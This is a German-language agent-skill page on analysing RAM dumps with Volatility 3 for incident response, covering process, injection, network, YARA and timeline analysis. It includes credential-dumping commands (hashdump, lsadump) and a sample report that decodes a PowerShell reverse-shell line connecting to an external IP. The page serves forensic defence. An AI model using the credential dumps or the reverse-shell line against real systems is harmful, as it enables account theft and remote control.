Communitygithub.com

Analyse von Arbeitsspeicher-Dumps mit Volatility

Analysiert RAM-Arbeitsspeicherabbilder kompromittierter Systeme mit dem Volatility-Framework, um bösartige Prozesse, Code-Injektionen und dateilose Schadsoftware zu identifizieren.

Was ist Analyse von Arbeitsspeicher-Dumps mit Volatility?

Dieses Skill beschreibt die forensische Analyse von RAM-Dumps mit dem Volatility-Framework, um Schadsoftware und Sicherheitsvorfälle zu untersuchen. Es führt den Benutzer durch einen schrittweisen Workflow: Profilidentifikation des Betriebssystems, Auflistung laufender Prozesse mit Erkennung von Rootkits, Analyse auf Code-Injektion (z. B. Process Hollowing), Extraktion von Netzwerkverbindungen, Wiederherstellung von Anmeldeinformationen und YARA-basierte Schadsoftware-Scans. Der Skill unterstützt Volatility 3 für Windows-, Linux- und macOS-Systeme und behandelt typische Szenarien wie dateilose Malware, die nur im RAM existiert. Er enthält praktische Befehle, Indikatoren für verdächtige Prozesse sowie eine ausführliche Ausgabevorlage für forensische Berichte und ist daher ideal für Sicherheitsanalysten und Incident-Response-Teams.

Funktioniert mit~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-memory-dumps-with-volatility

In Ihrer bevorzugten KI fragen

Öffnet einen neuen Chat, in dem dieser Agent-Skill bereits geladen ist.

Dokumentation

Was macht Analyse von Arbeitsspeicher-Dumps mit Volatility?

Wann einsetzen

  • Der RAM eines kompromittierten Systems wurde erfasst und benötigt forensische Analyse auf Schadsoftware-Artefakte
  • Erkennung von dateiloser Schadsoftware, die nur im Arbeitsspeicher existiert und keine dauerhaften Dateien auf der Festplatte hinterlässt
  • Extraktion von Verschlüsselungsschlüsseln, Passwörtern oder entschlüsselten Konfigurationen aus Prozessspeichern
  • Identifikation von Prozessinjektion, DLL-Injektion oder Process Hollowing in einem kompromittierten System
  • Analyse von Rootkit-Aktivitäten, die sich vor standardmäßigen datenträgerbasierten forensischen Tools verstecken

Nicht verwenden für die Analyse von Datenträgerabbildern; verwenden Sie hierfür Autopsy, FTK oder Sleuth Kit.

Voraussetzungen

  • Volatility 3 installiert (pip install volatility3) mit Symboltabellen für das Zielbetriebssystem
  • Speicherabbilddatei vom Zielsystem erfasst (mit WinPmem, LiME oder DumpIt)
  • Kenntnis der Quell-OS-Version für korrekte Profil-/Symbolauswahl
  • Ausreichend Speicherplatz (Speicherabbilder können 4-64 GB groß sein)
  • YARA-Regeln zum Scannen des Speichers auf bekannte Schadsoftware-Signaturen
  • Strings-Dienstprogramm zum Extrahieren von lesbaren Zeichenketten aus Speicherbereichen

Arbeitsablauf

Schritt 1: Identifizieren des Speicherabbild-Profils

Bestimmen Sie Betriebssystem und Version aus dem Speicherabbild:

# Volatility 3: Automatische OS-Erkennung
vol3 -f memory.dmp windows.info

# Verfügbare Plugins auflisten
vol3 -f memory.dmp --help

# Falls Symbole benötigt werden, herunterladen von:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# Für Volatility 2 (Legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan

Schritt 2: Auflisten laufender Prozesse

Alle Prozesse auflisten und verdächtige Einträge identifizieren:

# Alle Prozesse auflisten
vol3 -f memory.dmp windows.pslist

# Prozessbaum (Über-/Unterordnungsbeziehungen)
vol3 -f memory.dmp windows.pstree

# Nach versteckten/ausgekoppelten Prozessen scannen (Rootkit-Erkennung)
vol3 -f memory.dmp windows.psscan

# pslist mit psscan vergleichen, um versteckte Prozesse zu finden
# Prozesse, die in psscan, aber nicht in pslist vorkommen, sind möglicherweise durch Rootkits versteckt

# Auf Process Hollowing prüfen
vol3 -f memory.dmp windows.pslist --dump
# Dann überprüfen, ob die extrahierte EXE mit der erwarteten Datei auf der Festplatte übereinstimmt
Indikatoren für verdächtige Prozesse:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe, nicht von services.exe gestartet (falscher Elternprozess)
- csrss.exe/lsass.exe mit ungewöhnlichem Elternprozess
- Mehrere Instanzen von lsass.exe (es sollte nur eine geben)
- Prozesse mit falsch geschriebenen Namen (scvhost.exe, lssas.exe)
- cmd.exe oder powershell.exe gestartet von WINWORD.EXE oder Browser
- Prozesse, die von ungewöhnlichen Pfaden ausgeführt werden (%TEMP%, %APPDATA%)
- Prozesse ohne Eltern (verwaist – Elternprozess beendet)

Schritt 3: Erkennung bösartiger Code-Injektion

Scannen Sie nach injiziertem Code und Process Hollowing:

# Injizierten Code in Prozessen erkennen (malfind)
vol3 -f memory.dmp windows.malfind

# Malfind sucht nach:
# - Speicherbereichen mit PAGE_EXECUTE_READWRITE-Schutz
# - Speicherbereichen mit PE-Headern (MZ/PE-Signatur)
# - VAD (Virtual Address Descriptor)-Anomalien

# Injizierte Speicherbereiche zur Analyse extrahieren
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# Geladene DLLs pro Prozess auflisten
vol3 -f memory.dmp windows.dlllist --pid 2184

# Ausgehöhlte Prozesse durch Vergleich des zugeordneten Image mit der Festplatte erkennen
vol3 -f memory.dmp windows.hollowfind

# Nach geladenen Treibern scannen (potenzielle Rootkit-Treiber)
vol3 -f memory.dmp windows.driverscan

# Kernelmodule auflisten
vol3 -f memory.dmp windows.modules

Schritt 4: Netzwerkverbindungen analysieren

Aktive und geschlossene Netzwerkverbindungen extrahieren:

# Alle Netzwerkverbindungen auflisten (aktiv und lauschend)
vol3 -f memory.dmp windows.netscan

# Ausgabespalten: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner

# Nach etablierten Verbindungen zu externen IPs filtern
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# Für ältere Windows-Versionen (XP/2003):
vol3 -f memory.dmp windows.netstat

# PIDs mit Prozessliste abgleichen
# Verdächtig: svchost.exe verbunden mit externer IP auf nicht standardmäßigem Port
# Verdächtig: notepad.exe oder calc.exe mit Netzwerkverbindungen

Schritt 5: Artefakte und Anmeldeinformationen extrahieren

Sensible Daten aus dem Speicher wiederherstellen:

# Prozessspeicher für eine bestimmte PID extrahieren
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# Befehlszeilenverlauf extrahieren
vol3 -f memory.dmp windows.cmdline

# Umgebungsvariablen extrahieren
vol3 -f memory.dmp windows.envars --pid 2184

# Registry-Analyse (Run-Schlüssel für Persistenz extrahieren)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# Gehashte/Zwischengespeicherte Anmeldeinformationen extrahieren
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# Zwischenablage-Inhalte extrahieren
vol3 -f memory.dmp windows.clipboard

# Dateien aus dem Speicher extrahieren
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

Schritt 6: Speicher mit YARA-Regeln scannen

YARA-Signaturen anwenden, um bekannte Schadsoftware im Speicher zu erkennen:

# Gesamten Speicherdump mit YARA-Regeln scannen
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# Spezifischen Prozessspeicher scannen
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# Integrierter YARA-Scan auf häufige Muster
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# Nach Verschlüsselungsschlüsselmaterial scannen
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"

Schritt 7: Zeitachse und Berichtserstellung

Erstellen Sie eine Analyse-Zeitachse und fassen Sie die Ergebnisse zusammen:

# Umfassende Zeitachse erstellen
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# Zeitachse umfasst:
# - Prozesserstellungs-/Beendigungszeiten
# - Zeitstempel von Netzwerkverbindungen
# - Registry-Änderungszeiten
# - Dateizugriffszeiten

# Prozessliste für Berichte exportieren
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# Netzwerkverbindungen exportieren
vol3 -f memory.dmp windows.netscan --output csv > network.csv

Schlüsselkonzepte

BegriffDefinition
SpeicherforensikAnalyse des flüchtigen Arbeitsspeichers (RAM), um laufende Prozesse, Netzwerkverbindungen und speicherresidente Artefakte zu identifizieren, die möglicherweise nicht auf der Festplatte existieren
Process HollowingMalware-Technik, bei der ein legitimer Prozess im angehaltenen Zustand erstellt, dessen Speicher durch bösartigen Code ersetzt und dann die Ausführung wieder aufgenommen wird
MalfindVolatility-Plugin zur Erkennung von injiziertem Code durch Identifizierung von Speicherbereichen mit ausführbaren Berechtigungen und PE-Headern in Nicht-Image-VADs
VAD (Virtual Address Descriptor)Windows-Kernelstruktur, die einem Prozess zugewiesene Speicherbereiche verfolgt; Anomalien in VADs weisen auf Injektion oder Hollowing hin
EPROCESSWindows-Kernelstruktur, die einen Prozess repräsentiert; Rootkits entkoppeln EPROCESS-Einträge, um Prozesse vor Standardtools zu verstecken
Pool-Tag-ScanningSpeicherforensik-Technik, die nach Kernel-Objekt-Pool-Tags sucht, um Objekte (Prozesse, Dateien, Verbindungen) auch dann zu finden, wenn sie entkoppelt wurden
Dateilose MalwareSchadsoftware, die vollständig im Arbeitsspeicher operiert, ohne Dateien auf der Festplatte zu erstellen; nur durch Speicherforensik erkennbar

Werkzeuge und Systeme

  • Volatility 3: Open-Source-Speicherforensik-Framework mit Plugin-Architektur zur Analyse von Windows-, Linux- und macOS-Speicherdumps
  • WinPmem: Speichererfassungstool für Windows-Systeme, das rohe Speicherabbilder für die Offline-Analyse erstellt
  • LiME (Linux Memory Extractor): Ladbares Kernelmodul zur Erfassung von Linux-Systemspeicherabbildern
  • Rekall: Alternatives Speicherforensik-Framework mit einzigartigen Analysefähigkeiten (eingestellt, aber immer noch nützlich)
  • MemProcFS: Speicherprozess-Dateisystem, das das Einhängen von Speicherabbildern als Dateisysteme für eine intuitive Analyse ermöglicht

Häufige Szenarien

Szenario: Erkennung von dateiloser Malware nach EDR-Warnung

Kontext: EDR hat verdächtige PowerShell-Aktivität erkannt, aber der Angreifer hat Datenträger-Artefakte bereinigt. Ein Speicherabbild wurde erfasst, bevor das System neu gestartet wurde. Die Analyse muss die Malware, ihren Persistenzmechanismus und etwaige laterale Bewegung identifizieren.

Vorgehen:

  1. Führen Sie windows.pstree aus, um die Prozesskette zu identifizieren (welcher Prozess hat PowerShell gestartet)
  2. Führen Sie windows.malfind aus, um injizierten Code in laufenden Prozessen zu erkennen
  3. Extrahieren Sie den verdächtigen Prozessspeicher und extrahieren Sie Zeichenketten für C2-URLs
  4. Führen Sie windows.netscan aus, um Netzwerkverbindungen von den kompromittierten Prozessen zu identifizieren
  5. Führen Sie windows.cmdline aus, um zu sehen, welche Befehle PowerShell ausgeführt hat
  6. Scannen Sie den extrahierten Prozessspeicher mit YARA-Regeln auf bekannte Schadsoftware-Familien
  7. Extrahieren Sie Anmeldeinformationen mit hashdump und lsadump, um das Risiko lateraler Bewegung zu bewerten

Fallstricke:

  • Verwendung der falschen Symboltabellen für die OS-Version (führt zu Plugin-Fehlern oder falschen Ergebnissen)
  • Nicht-Vergleich von pslist vs. psscan-Ausgabe (übersehen von Rootkit-versteckten Prozessen)
  • Ignorieren legitimer Prozesse, in die injiziert wurde (Fokus auf malfind-Ergebnisse, nicht nur auf Prozessnamen)
  • Nicht-Extrahieren des vollständigen Prozessspeichers vor Abschluss der Analyse (Strings aus dem Prozessdump können zusätzliche IOCs offenbaren)

Ausgabeformat

SPEICHERFORENSIK-ANALYSEBERICHT
===================================
Dump-Datei:        memory.dmp
Dump-Größe:        16 GB
OS-Version:        Windows 10 21H2 (Build 19044)
Erfassungstool:    WinPmem 4.0
Erfassungszeit:    2025-09-15 14:35:00 UTC

VERDÄCHTIGE PROZESSE
PID   PPID  Name              Pfad                                    Anomalie
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe Falscher Pfad
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      Kind von gefälschtem svchost
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             Von PowerShell gestartet

CODE-INJEKTION ERKANNT (malfind)
PID 852 (explorer.exe):
  Adresse:    0x00400000  Größe: 98304  Schutz: PAGE_EXECUTE_READWRITE
  Header: MZ (eingebettetes PE erkannt)
  SHA-256 des Dump: abc123def456...

NETZWERKVERBINDUNGEN
PID   Prozess         Lokal               Extern              Status
2184  svchost.exe     10.1.5.42:49152     185.220.101.42:443   ESTABLISHED
4012  powershell.exe  10.1.5.42:49200     91.215.85.17:8080    ESTABLISHED

EXTRAHIERTE ANMELDEINFORMATIONEN
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

BEFEHLSZEILENVERLAUF
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  Decodiert: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA-TREFFER
PID 2184: Regel CobaltStrike_Beacon { gefunden bei 0x00401200 }

ZEITACHSE
14:10:00  svchost.exe (PID 2184) erstellt aus C:\Users\Admin\AppData\Temp\
14:10:05  Netzwerkverbindung zu 185.220.101.42:443 hergestellt
14:12:30  powershell.exe (PID 4012) von svchost.exe gestartet
14:15:00  Code-Injektion in explorer.exe (PID 852) erkannt
14:20:00  Anmeldeinformations-Dump aus LSASS-Prozess

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Verwandte Skills